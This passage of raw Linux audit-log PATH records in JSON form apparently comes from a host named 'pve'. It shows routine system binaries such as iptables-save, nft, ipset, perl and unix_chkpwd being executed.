name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025791,"@rawstring":"node=pve type=PATH msg=audit(1781965025.791:63666): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025791,"@rawstring":"node=pve type=PATH msg=audit(1781965025.791:63665): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025787,"@rawstring":"node=pve type=PATH msg=audit(1781965025.787:63664): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025787,"@rawstring":"node=pve type=PATH msg=audit(1781965025.787:63664): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025787,"@rawstring":"node=pve type=PATH msg=audit(1781965025.787:63664): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025780,"@rawstring":"node=pve type=PATH msg=audit(1781965025.780:63663): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025780,"@rawstring":"node=pve type=PATH msg=audit(1781965025.780:63663): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025773,"@rawstring":"node=pve type=PATH msg=audit(1781965025.773:63662): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025773,"@rawstring":"node=pve type=PATH msg=audit(1781965025.773:63662): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025768,"@rawstring":"node=pve type=PATH msg=audit(1781965025.768:63661): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025768,"@rawstring":"node=pve type=PATH msg=audit(1781965025.768:63661): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025761,"@rawstring":"node=pve type=PATH msg=audit(1781965025.761:63660): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025761,"@rawstring":"node=pve type=PATH msg=audit(1781965025.761:63660): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025753,"@rawstring":"node=pve type=PATH msg=audit(1781965025.753:63659): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025753,"@rawstring":"node=pve type=PATH msg=audit(1781965025.753:63659): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965024336,"@rawstring":"node=pve type=PATH msg=audit(1781965024.336:63658): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965024336,"@rawstring":"node=pve type=PATH msg=audit(1781965024.336:63658): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965024310,"@rawstring":"node=pve type=PATH msg=audit(1781965024.310:63657): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965024310,"@rawstring":"node=pve type=PATH msg=audit(1781965024.310:63657): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021942,"@rawstring":"node=pve type=PATH msg=audit(1781965021.942:63654): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021942,"@rawstring":"node=pve type=PATH msg=audit(1781965021.942:63654): item=0 name=\"/usr/bin/run-parts\" inode=260895 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021942,"@rawstring":"node=pve type=PATH msg=audit(1781965021.942:63653): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021942,"@rawstring":"node=pve type=PATH msg=audit(1781965021.942:63653): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021939,"@rawstring":"node=pve type=PATH msg=audit(1781965021.939:63647): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021938,"@rawstring":"node=pve type=PATH msg=audit(1781965021.938:63646): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021938,"@rawstring":"node=pve type=PATH msg=audit(1781965021.938:63646): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021518,"@rawstring":"node=pve type=PATH msg=audit(1781965021.518:63645): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021518,"@rawstring":"node=pve type=PATH msg=audit(1781965021.518:63645): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021518,"@rawstring":"node=pve type=PATH msg=audit(1781965021.518:63644): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021518,"@rawstring":"node=pve type=PATH msg=audit(1781965021.518:63643): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021509,"@rawstring":"node=pve type=PATH msg=audit(1781965021.509:63642): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021509,"@rawstring":"node=pve type=PATH msg=audit(1781965021.509:63642): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021509,"@rawstring":"node=pve type=PATH msg=audit(1781965021.509:63641): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021508,"@rawstring":"node=pve type=PATH msg=audit(1781965021.508:63640): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016501,"@rawstring":"node=pve type=PATH msg=audit(1781965016.501:63639): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016501,"@rawstring":"node=pve type=PATH msg=audit(1781965016.501:63639): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016501,"@rawstring":"node=pve type=PATH msg=audit(1781965016.501:63638): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016501,"@rawstring":"node=pve type=PATH msg=audit(1781965016.501:63637): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016494,"@rawstring":"node=pve type=PATH msg=audit(1781965016.494:63636): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016494,"@rawstring":"node=pve type=PATH msg=audit(1781965016.494:63636): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016494,"@rawstring":"node=pve type=PATH msg=audit(1781965016.494:63635): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965016494,"@rawstring":"node=pve type=PATH msg=audit(1781965016.494:63634): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015743,"@rawstring":"node=pve type=PATH msg=audit(1781965015.743:63633): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015743,"@rawstring":"node=pve type=PATH msg=audit(1781965015.743:63633): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015740,"@rawstring":"node=pve type=PATH msg=audit(1781965015.740:63632): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015740,"@rawstring":"node=pve type=PATH msg=audit(1781965015.740:63632): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015739,"@rawstring":"node=pve type=PATH msg=audit(1781965015.739:63631): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015739,"@rawstring":"node=pve type=PATH msg=audit(1781965015.739:63631): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015739,"@rawstring":"node=pve type=PATH msg=audit(1781965015.739:63630): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015736,"@rawstring":"node=pve type=PATH msg=audit(1781965015.736:63629): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015736,"@rawstring":"node=pve type=PATH msg=audit(1781965015.736:63629): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015736,"@rawstring":"node=pve type=PATH msg=audit(1781965015.736:63629): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015729,"@rawstring":"node=pve type=PATH msg=audit(1781965015.729:63628): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015729,"@rawstring":"node=pve type=PATH msg=audit(1781965015.729:63628): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015723,"@rawstring":"node=pve type=PATH msg=audit(1781965015.723:63627): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015723,"@rawstring":"node=pve type=PATH msg=audit(1781965015.723:63627): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015716,"@rawstring":"node=pve type=PATH msg=audit(1781965015.716:63626): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015716,"@rawstring":"node=pve type=PATH msg=audit(1781965015.716:63626): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015710,"@rawstring":"node=pve type=PATH msg=audit(1781965015.710:63625): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015710,"@rawstring":"node=pve type=PATH msg=audit(1781965015.710:63625): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015705,"@rawstring":"node=pve type=PATH msg=audit(1781965015.705:63623): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015705,"@rawstring":"node=pve type=PATH msg=audit(1781965015.705:63623): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015701,"@rawstring":"node=pve type=PATH msg=audit(1781965015.701:63622): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015701,"@rawstring":"node=pve type=PATH msg=audit(1781965015.701:63622): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015695,"@rawstring":"node=pve type=PATH msg=audit(1781965015.695:63621): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015695,"@rawstring":"node=pve type=PATH msg=audit(1781965015.695:63621): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015690,"@rawstring":"node=pve type=PATH msg=audit(1781965015.690:63620): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015690,"@rawstring":"node=pve type=PATH msg=audit(1781965015.690:63620): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015685,"@rawstring":"node=pve type=PATH msg=audit(1781965015.685:63619): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015685,"@rawstring":"node=pve type=PATH msg=audit(1781965015.685:63619): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015681,"@rawstring":"node=pve type=PATH msg=audit(1781965015.681:63618): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015681,"@rawstring":"node=pve type=PATH msg=audit(1781965015.681:63618): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015675,"@rawstring":"node=pve type=PATH msg=audit(1781965015.675:63617): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015675,"@rawstring":"node=pve type=PATH msg=audit(1781965015.675:63617): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015669,"@rawstring":"node=pve type=PATH msg=audit(1781965015.669:63616): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015669,"@rawstring":"node=pve type=PATH msg=audit(1781965015.669:63616): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015665,"@rawstring":"node=pve type=PATH msg=audit(1781965015.665:63615): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015665,"@rawstring":"node=pve type=PATH msg=audit(1781965015.665:63615): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015662,"@rawstring":"node=pve type=PATH msg=audit(1781965015.662:63614): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015662,"@rawstring":"node=pve type=PATH msg=audit(1781965015.662:63614): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015661,"@rawstring":"node=pve type=PATH msg=audit(1781965015.661:63613): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015661,"@rawstring":"node=pve type=PATH msg=audit(1781965015.661:63613): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015661,"@rawstring":"node=pve type=PATH msg=audit(1781965015.661:63612): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015657,"@rawstring":"node=pve type=PATH msg=audit(1781965015.657:63611): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015657,"@rawstring":"node=pve type=PATH msg=audit(1781965015.657:63611): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015657,"@rawstring":"node=pve type=PATH msg=audit(1781965015.657:63611): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015651,"@rawstring":"node=pve type=PATH msg=audit(1781965015.651:63610): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015651,"@rawstring":"node=pve type=PATH msg=audit(1781965015.651:63610): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015645,"@rawstring":"node=pve type=PATH msg=audit(1781965015.645:63609): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015645,"@rawstring":"node=pve type=PATH msg=audit(1781965015.645:63609): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015641,"@rawstring":"node=pve type=PATH msg=audit(1781965015.641:63608): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015641,"@rawstring":"node=pve type=PATH msg=audit(1781965015.641:63608): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015634,"@rawstring":"node=pve type=PATH msg=audit(1781965015.634:63607): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015634,"@rawstring":"node=pve type=PATH msg=audit(1781965015.634:63607): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965015628,"@rawstring":"node=pve type=PATH 